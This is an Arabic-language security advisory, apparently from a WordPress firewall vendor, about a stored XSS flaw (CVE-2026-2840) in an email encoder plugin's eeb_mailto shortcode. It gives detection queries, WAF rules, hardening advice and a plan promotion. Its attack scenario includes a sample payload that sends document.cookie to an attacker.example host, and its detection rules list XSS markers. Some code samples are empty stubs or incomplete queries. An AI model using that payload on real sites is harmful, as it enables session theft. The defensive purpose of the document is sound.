
| اسم البرنامج الإضافي | مكون WordPress لتشفير البريد الإلكتروني |
|---|---|
| نوع الضعف | البرمجة النصية عبر المواقع (XSS) |
| رقم CVE | CVE-2026-2840 |
| الاستعجال | قليل |
| تاريخ نشر CVE | 2026-04-16 |
| رابط المصدر | CVE-2026-2840 |
إصلاح حرج متاح لثغرة XSS المخزنة في مكون “تشفير البريد الإلكتروني” (CVE-2026-2840) — ما يجب على مالكي مواقع WordPress القيام به الآن
مقتطف: ثغرة XSS المخزنة تؤثر على مكون تشفير البريد الإلكتروني (<= 2.4.4) تسمح للمساهمين المعتمدين بحقن الحمولة عبر كود eeb_mailto. تم تصحيح CVE-2026-2840 في 2.4.5. إليك دليل عملي، يركز على الأمان، للكشف والتخفيف والاحتواء من منظور جدار حماية WordPress وعمليات الأمان.
مؤلف: فريق أمان جدار الحماية WP
تاريخ: 2026-04-16
العلامات: ووردبريس، الثغرات، XSS، WAF، استجابة الحوادث، أمان الإضافات
ملخص: تم الكشف عن ثغرة XSS المخزنة (CVE-2026-2840) في مكون تشفير البريد الإلكتروني لـ WordPress الذي يؤثر على الإصدارات حتى 2.4.4. يمكن للمستخدمين المعتمدين الذين لديهم دور المساهم حقن حمولات قابلة للتنفيذ عبر كود eeb_mailto؛ يمكن تنفيذ تلك الحمولات لاحقًا عندما يتفاعل مستخدم ذو صلاحيات أعلى مع المحتوى المحقون. أصدر مؤلف المكون تصحيحًا في 2.4.5. إذا كنت تدير مواقع WordPress، فاتبع الإرشادات أدناه للتخفيف الفوري وطويل الأجل.
لماذا يجب أن تهتم (نظرة سريعة)
تعتبر XSS المخزنة من بين أخطر ثغرات تطبيقات الويب لأن البرنامج الضار يتم تخزينه بشكل دائم على الموقع ويتم تنفيذه في سياق متصفحات المستخدمين الآخرين. في هذه الحالة:
- المكون الإضافي المعرض للخطر: مكون تشفير البريد الإلكتروني (جميع الإصدارات <= 2.4.4)
- نوع الثغرة: ثغرة XSS المخزنة عبر كود eeb_mailto
- CVE: CVE-2026-2840
- الإصدار المصحح: 2.4.5 (قم بالتحديث فورًا)
- صلاحيات المهاجم المطلوبة: المساهم (معتمد). ومع ذلك، يتطلب الاستغلال الناجح تفاعل المستخدم من مستخدم ذو صلاحيات أعلى (مثل محرر أو مسؤول) — على سبيل المثال، النقر على رابط مصمم أو معاينة المحتوى.
على الرغم من أن الاستغلال يبدو محدودًا حسب الدور وتفاعل المستخدم، إلا أنه لا يزال خطيرًا. غالبًا ما يستغل المهاجمون XSS المخزنة لسرقة ملفات تعريف الارتباط للجلسة، وتنفيذ تصعيد الصلاحيات، وتثبيت أبواب خلفية، والتلاعب بالمحتوى، أو الحصول على وصول إداري عبر الهندسة الاجتماعية.
الخطوات الفورية (ماذا تفعل الآن)
- قم بتحديث المكون إلى 2.4.5 أو أحدث على كل موقع متأثر
هذه هي الخطوة الأكثر أهمية. أصدر مؤلف المكون إصلاحًا في 2.4.5 يعالج الثغرة. - قم بتطبيق تصحيح افتراضي مؤقت عبر WAF الخاص بك
إذا لم تتمكن من التحديث على الفور (مثل، فحوصات المرحلة، اختبار التوافق)، قم بتطبيق قواعد WAF لحظر محاولات الاستغلال (القواعد المقدمة لاحقًا في هذا الدليل). - قم بمراجعة التقديمات الأخيرة من المساهمين وتعديلات المنشورات
تحقق من المحتوى الذي أنشأه أو حرره المستخدمون ذوو الأدوار الأقل (مساهم، مؤلف). ابحث عن أكواد mailto المشبوهة والسمات التي تحتوي على JavaScript أو أحداث HTML. - قم بتدوير كلمات المرور والأسرار إذا كنت تشك في الاختراق
إذا وجدت أدلة على الاستغلال، قم بتدوير بيانات اعتماد المسؤول، وإعادة توليد كلمات مرور التطبيق، وإعادة تعيين المفاتيح (AUTH_KEY، SECURE_AUTH_KEY، إلخ). - زيادة المراقبة والتسجيل
قم بتشغيل خادم الويب و PHP بتفصيل مؤقت. راقب طلبات صفحة الإدارة غير العادية، أو POSTs، أو التعديلات من حسابات المساهمين.
كيف تعمل الثغرة (شرح تقني)
يوفر الملحق رمز قصير eeb_mailto الذي يقوم بتشفير عناوين البريد الإلكتروني للعرض. المشكلة هي أن المساهم يمكنه تقديم قيم لسمات الرمز القصير التي لم يتم تنظيفها/الهروب منها بشكل صحيح قبل تخزينها وعرضها لاحقًا في HTML. إذا تم إخراج السمات غير المنظفة في الصفحة دون الهروب المناسب أو حظر مخططات JavaScript، يمكن للمهاجم صياغة سمات تشبه:
- قيمة سمة تحتوي على مخطط JS:
email="javascript:..." - سمة مع حقن سمة HTML:
email='" onmouseover=" - معالجات الأحداث المشفرة أو عناصر البرنامج النصي المدخلة داخل الإخراج (تعتمد على مسار العرض)
عندما يقوم مستخدم ذو امتيازات أعلى (أو أي مستخدم) بعرض الصفحة أو النقر على رابط مصمم، يتم تشغيل JavaScript الخبيث في متصفح الضحية مع أصل الموقع المعرض للخطر - مما يسمح بسرقة الجلسات، أو إجراءات CSRF، أو سلوكيات خبيثة أخرى.
النقاط الرئيسية:
- XSS المخزنة دائمة - يتم حفظ الحمولة في قاعدة البيانات.
- دور المساهم كافٍ لحفظ المحتوى (الذي قد يتم معاينته من قبل المحررين/المديرين).
- عادةً ما يتطلب الاستغلال الناجح تفاعل المستخدم، لكن ذلك غالبًا ما يكون سهل الهندسة (على سبيل المثال، عبر رابط في منشور).
مؤشرات مؤكدة وأنماط بحث
ابحث في قاعدة بياناتك ومحتواك عن أنماط مشبوهة. استعلامات مفيدة للعثور على حمولات محتملة:
- ابحث في المنشورات والتعديلات عن رموز قصيرة أو علامات نصية مشبوهة:
SELECT ID, post_title, post_author, post_date;
- ابحث عن postmeta بمحتوى مشبوه:
SELECT meta_id, post_id, meta_key, meta_value;
- ابحث في المحتوى والتعليقات المقدمة من المستخدمين (إذا كانت التعليقات مسموح بها):
SELECT comment_ID, comment_post_ID, comment_author_email, comment_content;
- ابحث في السجلات عن أنماط مشبوهة (مثال):
grep -Ei "eeb_mailto|javascript:|onerror=|onclick=" /var/log/nginx/* /var/log/apache2/*
- ابحث عن المشاركات التي تم إنشاؤها/تحديثها بواسطة مستخدمي دور المساهمين في فترة القلق:
SELECT ID, post_title, post_author, post_date;
ملحوظة: استبدل بادئات الجداول (ووب_) مع بادئة موقعك.
قواعد WAF لحظر الاستغلال (تصحيح افتراضي)
إذا كنت تدير جدار حماية لتطبيق الويب (WAF) أو يقدم مزود الاستضافة الخاص بك واحدًا، قم بتطبيق التصحيح الافتراضي بسرعة أثناء اختبار التحديثات.
مثال على قواعد نمط ModSecurity (قم بتعديلها لمحركك واختبر في بيئة الاختبار):
- حظر الرموز القصيرة مع البرنامج النصي المضمن: التقاط الطلبات التي تُدخل سلاسل الرموز القصيرة التي تحتوي على أحداث البرنامج النصي
SecRule REQUEST_BODY "@rx \[eeb_mailto[^\]]*(?:javascript:|on(?:click|mouseover|error|load|submit)\=|<script\b)" \"
- حظر المحتوى المنشور الذي يحتوي على مخطط javascript: في السمات
SecRule REQUEST_BODY "@rx javascript\s*:" \"
- حظر الطلبات التي تحاول إنشاء أو تحديث المشاركات التي تحتوي على أحداث مشبوهة:
– لمشاركات إدارة WordPress (تحرير المشاركة)، اكتشف الأنماط المشبوهة:
SecRule REQUEST_URI "@rx /wp-admin/post.php|/wp-admin/post-new.php" \"
ملحوظات:
- اختبر بعناية لتجنب الإيجابيات الكاذبة. ضع القواعد في وضع الكشف (تسجيل فقط) أولاً.
- طبق القواعد لحظر فقط تقديم المحتوى غير الموثوق به - على سبيل المثال، POSTs من المساهمين المعتمدين، أو الحمولة التي تتطابق مع أنماط regex أعلاه.
مثال على توقيع WAF لمحركات القواعد التي تدعم regex
استخدم تعبيرات منتظمة محافظة وقم بضبطها على بيئتك:
/\[eeb_mailto[^\]]*(javascript:|on(?:click|mouseover|error|load|submit)\s*=|<script\b)/i
هذا يتطابق مع رموز eeb_mailto القصيرة التي تحتوي على حمولة ضارة محتملة. مرة أخرى، قم بتسجيل الدخول أولاً، ثم قم بالحظر عند الضبط.
توصيات تقوية الكود (من جانب المطور)
إذا كنت تحافظ على السمات/الإضافات أو كنت مطورًا يعمل مع الرموز القصيرة، فإليك ممارسات برمجية قوية لمنع XSS المخزنة:
- تعقيم عند الحفظ
نظف مدخلات المستخدم عند حفظها في قاعدة البيانات (ليس فقط عند الإخراج). استخدم وظائف مثلsanitize_email,sanitize_text_field,wp_kses_post(مع علامات مسموح بها صارمة)،,esc_url_rawلحقول تشبه URL. - الهروب من الإخراج
دائمًا قم بتهريب القيم بالقرب من الإخراج قدر الإمكان باستخدامesc_html,esc_attr,esc_url,esc_js, ، اعتمادًا على السياق. - قيد بروتوكولات URL المسموح بها
يستخدمwp_allowed_protocols()أو قائمة بيضاء أكثر صرامة لمنعجافا سكريبت:عناوين URI.
مثال: إذا كنت تقبل روابط mailto:، فاسمح فقط بـ mailto والتنوعات الآمنة المشابهة لـ mailto.
مثال: معالج رمز قصير أكثر أمانًا
<?php
مهم: تجنب إنشاء سمات أو حقن HTML خام من مدخلات غير موثوقة دون تهريب.
كيفية اكتشاف اختراق حي (علامات يجب البحث عنها)
- تسجيلات دخول أو جلسات إدارية غير متوقعة تنشأ من عناوين IP غير عادية.
- مستخدمون جدد كمديرين أو صلاحيات مرتفعة تم إنشاؤها دون تفويض.
- منشورات أو صفحات أو وسائط لم تقم بإنشائها.
- نصوص مخفية في post_content أو الأدوات أو ملفات القالب (ابحث عن base64 و eval و document.write و إعادة توجيه JS).
- اتصالات HTTP مشبوهة صادرة من الخادم (تحقق من جدار الحماية أو netstat).
- طلبات غير عادية إلى
/wp-admin/post.phpمع POSTs تحتوي على محتوى shortcode eeb_mailto.
أمثلة على البحث الجنائي:
- ابحث عن علامات النص البرمجي في قاعدة البيانات:
SELECT ID, post_title, post_date, post_author;
- ابحث عن حالات URIs javascript:
SELECT ID, post_content;
خطوات التنظيف والاحتواء إذا وجدت محتوى ضار
- حجر المحتوى
قم بإلغاء نشر أي منشور/صفحة أو تغيير الحالة إلى مسودة إذا كانت مشبوهة. - إزالة أو تطهير المنشورات المصابة
إزالة حالة shortcode الضارة من المحتوى وتحديث المنشور.
استعادة من نسخة احتياطية معروفة جيدة إذا تم اختراق محتوى المنشور بشكل كبير. - إعادة تعيين بيانات اعتماد المسؤول وكلمات مرور المستخدمين
فرض إعادة تعيين كلمة المرور لجميع المستخدمين ذوي الامتيازات. - إبطال الجلسات وكلمات مرور التطبيق
إلغاء كلمات مرور التطبيق وإبطال الجلسات المسجلة حيثما أمكن. - فحص وجود قشرة ويب/أبواب خلفية
تحقق من ملفات السمة / المكون الإضافي والتحميلات بحثًا عن ملفات PHP غير متوقعة أو كود مشوش أو ملفات بتواريخ حديثة. أمثلة يجب البحث عنها في/wp-content/تحميلات/أو أدلة السمات. - تحقق من المهام المجدولة (كرون).
قد يقوم الفاعلون الخبيثون بإنشاء أحداث كرون للحفاظ على الوصول. - مراجعة سجلات الخادم والتحويل
تحديد مصدر الهجوم، وكيف تم نشر المحتوى، وما إذا كانت سلاسل هجوم أخرى قد تم استخدامها. - إخطار أصحاب المصلحة
إذا تأثرت بيانات المستخدمين أو المستخدمين الإداريين، اتبع سياسة الإفصاح عن الحوادث الخاصة بك. استبدل الأسرار.
بعد الحادث: الوقاية وتقوية طويلة الأمد
- مبدأ الحد الأدنى من الامتياز
تحديد الأدوار التي يمكنها إنشاء محتوى مع مخرجات قابلة للتنفيذ. على سبيل المثال، تقييد القدرة على إدراج الرموز القصيرة أو استخدام HTML لأدوار معينة.
النظر فيما إذا كان المساهمون يحتاجون حقًا إلى HTML غير مصفاة أو استخدام الرموز القصيرة. - اعتدال المحتوى / سير العمل
يتطلب مراجعة تحريرية للمحتوى الذي أنشأه المساهمون. استخدم مكونات إضافية للاعتدال أو مراجعة يدوية للمنشورات الجديدة. - حافظ على تحديث المكونات الإضافية، والسمات، والنواة
تطبيق تحديثات الأمان في الوقت المناسب، باستخدام اختبار المرحلة عند الحاجة. - تنفيذ المسح المستمر
عمليات مسح البرمجيات الضارة المجدولة وفحوصات السلامة للملفات الأساسية. - تعزيز وصول المسؤول
المصادقة الثنائية (2FA) للمحررين والمديرين.
السماح بعناوين IP لصفحات الإدارة الحساسة حيثما كان ذلك ممكنًا. - النسخ الاحتياطية والاسترداد
الحفاظ على نسخ احتياطية نظيفة ومتكررة مع إجراءات استعادة مختبرة.
قواعد الكشف النموذجية لمراقبة SIEM / السجلات
- تنبيهات على POSTs التي تتضمن السلسلة “[eeb_mailto” من حسابات المساهمين المعتمدين:
القاعدة: إذا كانت دور المستخدم المعتمد == مساهم AND يحتوي جسم POST على “[eeb_mailto” AND (‘javascript:’ | ‘onerror=’ | ‘onclick=’) => تنبيه عالي الأولوية. - تنبيهات لمعاينة المسؤول أو صفحات التحرير عندما يحتوي محتوى المنشور على أو javascript: => إنشاء حادثة.
- محاولات تسجيل دخول فاشلة متكررة من نفس عنوان IP أو عدد كبير مفاجئ من المنشورات من مساهم واحد => مشبوه.
قائمة مراجعة مثال للتصحيح لفرق العمليات
- ترقية المكون الإضافي إلى 2.4.5 على جميع المواقع.
- تشغيل استعلامات بحث قاعدة البيانات لاستخدامات الشيفرة القصيرة المشبوهة وتنظيفها أو إزالتها.
- تفعيل قواعد WAF المستهدفة (سجل أولاً، ثم احظر).
- تغيير كلمات مرور جميع المستخدمين ذوي الامتيازات والمفاتيح السرية.
- إبطال الجلسات وكلمات مرور التطبيق.
- فحص نظام الملفات بحثًا عن قذائف الويب/البوابات الخلفية ومؤشرات معروفة.
- إعادة الفحص باستخدام ماسح البرامج الضارة بعد التنظيف.
- إعادة تقديم المحتوى فقط بعد التحقق والتقوية.
- توثيق الحادث والجدول الزمني.
إرشادات المطور: قائمة مراجعة تصميم الشيفرة القصيرة الآمنة
- لا تثق أبدًا في المدخلات: نظف مبكرًا، وهرب لاحقًا.
- تحقق من أنواع البيانات والتنسيقات (على سبيل المثال، تحقق من رسائل البريد الإلكتروني مع
is_email()). - عند الربط بـ URIs الخارجية، تحقق من المخططات المسموح بها (
mailto:,https:,http:). - إزالة معالجات الأحداث والسمات القابلة للتنفيذ من أي ترميز يقدمه المستخدم.
- استخدم الرموز غير المتكررة وفحوصات القدرات لنقاط نهاية AJAX وإجراءات الإدارة.
- تحديد الأدوار التي يمكنها تقديم محتوى سيتم عرضه بدون هروب.
مساعدات التنظيف النموذجية
مساعدات شائعة ومختبرة:
تعقيم البريد الإلكتروني— للبريد الإلكترونيتطهير حقل النص— للنص العاديwp_kses_post()— لـ HTML المتحكم بهesc_html(),esc_attr(),esc_url()— الهروب لسياقات الإخراج
مثال: السماح بخطط URL البيضاء وتنظيفها
<?php
لماذا تظل XSS المخزنة تهديدًا رئيسيًا في مواقع WordPress
غالبًا ما تمزج مواقع WordPress بين عدة إضافات وسمات. يمكن أن تكون هناك ثغرة صغيرة في تنظيف البيانات المقدمة من المستخدم كافية لتمكين XSS المخزنة. الاستغلال على نطاق صناعي شائع لأن المهاجمين يمكنهم إنشاء حسابات مساهمين (على سبيل المثال، عبر حسابات مخترقة أو بيانات اعتماد مسربة) وحقن حمولة تبقى خاملة حتى يتم تفعيلها بواسطة مستخدم ذي امتيازات أعلى.
حتى عندما يتطلب الاستغلال تفاعل المستخدم، فإن المهاجمين بارعون في صياغة أساليب هندسة اجتماعية مقنعة - معاينات داخلية، رسائل بريد إلكتروني للتحديث، أو روابط تأليف مشتركة - التي تحفز النقرات اللازمة.
سيناريو عملي (مثال واقعي)
- يقوم المهاجم بتسجيل حساب والحصول على دور مساهم (أو اختراق دور موجود).
- باستخدام قدرات المساهم، يقدمون منشورًا يحتوي على رمز قصير eeb_mailto مع سمة مثل
البريد الإلكتروني='"><img src="x" onerror="fetch("https:>'أوemail='javascript:fetch("https://attacker.example/steal?c="+document.cookie)'. - يقوم محرر بمعاينة المنشور أو النقر على رابط mailto المصنوع في واجهة الإدارة. يتم تشغيل البرنامج النصي في متصفح المحرر، مما يكشف عن ملفات تعريف الارتباط للجلسة أو ينفذ إجراءات.
- من حساب المحرر، يمكن للمهاجم أو البرنامج النصي الخبيث إنشاء مدراء، تثبيت إضافات خبيثة، أو استخراج البيانات.
اعتبارات التواصل والإفصاح
- إذا كنت تدير موقعًا مُدارًا، أبلغ المعنيين بمجرد أن تجد دليلًا على الاختراق.
- قدم ملخصًا موجزًا: ماذا حدث، وما البيانات (إن وجدت) التي قد تكون تعرضت، وما الإصلاحات التي قمت بها، والخطوات الموصى بها للمتابعة لمستخدمي النهاية (مثل إعادة تعيين كلمات المرور).
- احتفظ بالسجلات والأدلة الجنائية لفترة لدعم التحليل.
أمثلة عملية: أوامر البحث والإصلاح
- grep سريع للعثور على رموز mailto القصيرة المحتمل حقنها في المحتوى المصدر:
wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%[eeb_mailto%';"
- قم بإزالة الشيفرة القصيرة من جميع المشاركات (خطير - قم بعمل نسخة احتياطية أولاً):
wp db query "UPDATE wp_posts SET post_content = REPLACE(post_content, '[eeb_mailto', '[eeb_mailto-sanitized' ) WHERE post_content LIKE '%[eeb_mailto%';"
(استخدم الاستبدال الجماعي فقط إذا كنت تفهم تمامًا الآثار المترتبة. دائمًا قم بعمل نسخة احتياطية أولاً.)
توصيات المراقبة
- راقب تحديثات المكونات الإضافية الجديدة وطبق التصحيحات الحرجة في غضون 24-72 ساعة، حسب شهية المخاطر.
- نفذ سجلات نشاط المسؤول لرؤية من أنشأ/عدل المشاركات.
- استخدم فحوصات البرامج الضارة المجدولة وفحوصات سلامة الموقع.
- احتفظ بسجلات خادم وويب مفصلة لمدة لا تقل عن 30-90 يومًا لتسهيل التحقيقات.
خيارات التسعير والحماية - تسليط الضوء على خطة قصيرة
يوفر WP-Firewall خطط أمان متدرجة مصممة لتناسب الاحتياجات المتنوعة:
- أساسي (مجاني) - حماية أساسية: جدار حماية مُدار، عرض نطاق غير محدود، WAF، ماسح للبرامج الضارة، وتخفيف مخاطر OWASP العشرة الأوائل.
- القياسية ($50/سنة) — يضيف إزالة تلقائية للبرامج الضارة والقدرة على وضع 20 عنوان IP في القائمة السوداء/القائمة البيضاء.
- المحترفة ($299/سنة) - حماية كاملة تشمل تقارير أمان شهرية، تصحيح افتراضي تلقائي للثغرات، وإضافات متميزة مثل مدير حساب مخصص وخدمات أمان مدارة.
إذا كنت ترغب في حماية موقعك على الفور أثناء تصحيح الأخطاء والتدقيق، نقدم خطة أساسية مجانية تغطي التصحيح الافتراضي الفوري والفحوصات المنتظمة. سجل للحصول على الخطة المجانية هنا: https://my.wp-firewall.com/buy/wp-firewall-free-plan/
عنوان جديد لجذبك: تأمين موقعك مع حماية جدار ناري مدارة مجانية
سجل للحصول على WP-Firewall Basic (مجاني) واحصل على حماية جدار ناري مدارة، WAF قوي، فحص البرامج الضارة، وتخفيف تلقائي لثغرات OWASP Top 10 - شبكة أمان سهلة أثناء تصحيح المكونات الإضافية وتنظيف أي مخاطر متبقية. خذ دقيقة لتأمين مواقعك الآن: https://my.wp-firewall.com/buy/wp-firewall-free-plan/
التوصيات النهائية والأفكار الختامية
- قم بترقية مكون Email Encoder Bundle إلى 2.4.5 أو أحدث على جميع المواقع على الفور.
- إذا لم تتمكن من الترقية على الفور، طبق قواعد التصحيح الافتراضي على مستوى WAF وضع المحتوى المشبوه في الحجر الصحي.
- قم بتدقيق المحتوى الذي أنشأته حسابات المساهمين وابحث عن حالات الشيفرات القصيرة eeb_mailto وسمات شبيهة بالبرامج النصية.
- عزز العمليات: حدد الامتيازات، تطلب مراجعة تحريرية، احتفظ بنسخ احتياطية، وراقب السجلات.
- إذا وجدت أدلة على الاستغلال، اتبع قائمة التحقق من الاحتواء (ضع المحتوى في الحجر الصحي، قم بتدوير بيانات الاعتماد، افحص للبحث عن أبواب خلفية، واستعد من النسخ الاحتياطية النظيفة حسب الحاجة).
الأمان هو عملية مستمرة. التصحيح هو أسرع طريق للتعويض، لكن التصحيح الافتراضي، والمراقبة، وتعزيز العمليات يقلل من سطح الهجوم الخاص بك حتى يمكن تحديث كل موقع. إذا كنت تريد تغطية جدار ناري مدارة على الفور أثناء تصنيف وتصحيح، فكر في خطة WP-Firewall Basic (مجانية) - فهي توفر تصحيحًا افتراضيًا قائمًا على WAF وفحصًا للمساعدة في تقليل المخاطر بسرعة: https://my.wp-firewall.com/buy/wp-firewall-free-plan/
ابق آمنًا، ابق مصححًا، ولا تتردد في الاتصال بمحترف أمان ووردبريس موثوق إذا وجدت علامات على الاختراق أو كنت بحاجة إلى مساعدة في التعويض.
